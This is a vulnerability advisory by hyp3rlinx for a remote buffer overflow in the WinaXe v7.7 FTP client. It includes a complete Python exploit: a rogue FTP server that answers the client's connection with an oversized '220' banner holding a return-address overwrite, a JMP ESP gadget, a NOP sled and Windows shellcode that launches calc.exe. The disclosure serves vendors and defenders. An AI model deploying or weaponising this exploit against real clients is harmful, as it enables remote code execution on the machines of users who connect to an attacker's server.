WinaXe 7.7 Buffer Overflow

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt  
  
[+] ISR: Apparition Security  
  
  
  
Vendor:  
============  
www.labf.com  
  
  
  
Product:  
================  
WinaXe v7.7 FTP  
  
The X Window System, SSH, TCP/IP, NFS, FTP, TFTP and Telnet software are  
built and provided in the package.  
All that you need to run remote UNIX and X Applications is included within  
WinaXe Plus. You operate simultaneously with  
X11, FTP and Telnet sessions and with your familiar MS Windows applications.  
  
  
  
Vulnerability Type:  
=======================  
Remote Buffer Overflow  
  
  
  
Vulnerability Details:  
======================  
  
WinaXe v7.7 FTP client is subject to MULTIPLE remote buffer overflow  
vectors when connecting to a malicious FTP Server and  
receiving overly long payloads in the command response from the remote  
server.  
  
220 SERVICE READY  
331 USER / PASS  
200 TYPE  
257 PWD  
  
etc...  
  
below is POC for "server ready" 220 command exploit when first connecting  
to a FTP server.  
  
  
Exploit code(s):  
===============  
  
import socket,struct  
  
#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit  
#Discovery hyp3rlinx  
#ISR: ApparitionSec  
#hyp3rlinx.altervista.org  
  
  
#shellcode to pop calc.exe Windows 7 SP1  
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"  
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"  
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"  
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"  
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"  
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"  
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")  
  
  
eip=struct.pack('<L',0x68084A6F) #POP ECX RET  
jmpesp=struct.pack('<L',0x68017296) #JMP ESP  
  
#We will do POP ECX RET and place a JMP ESP address at the RET address that  
will jump to shellcode.  
  
payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20 #Server Ready '220'  
Exploit  
  
port = 21  
s = socket.socket()  
host = '127.0.0.1'  
s.bind((host, port))  
s.listen(5)  
  
print 'Evil FTPServer listening...'  
  
while True:  
conn, addr = s.accept()  
conn.send('220'+payload+'\r\n')  
conn.close()  
  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`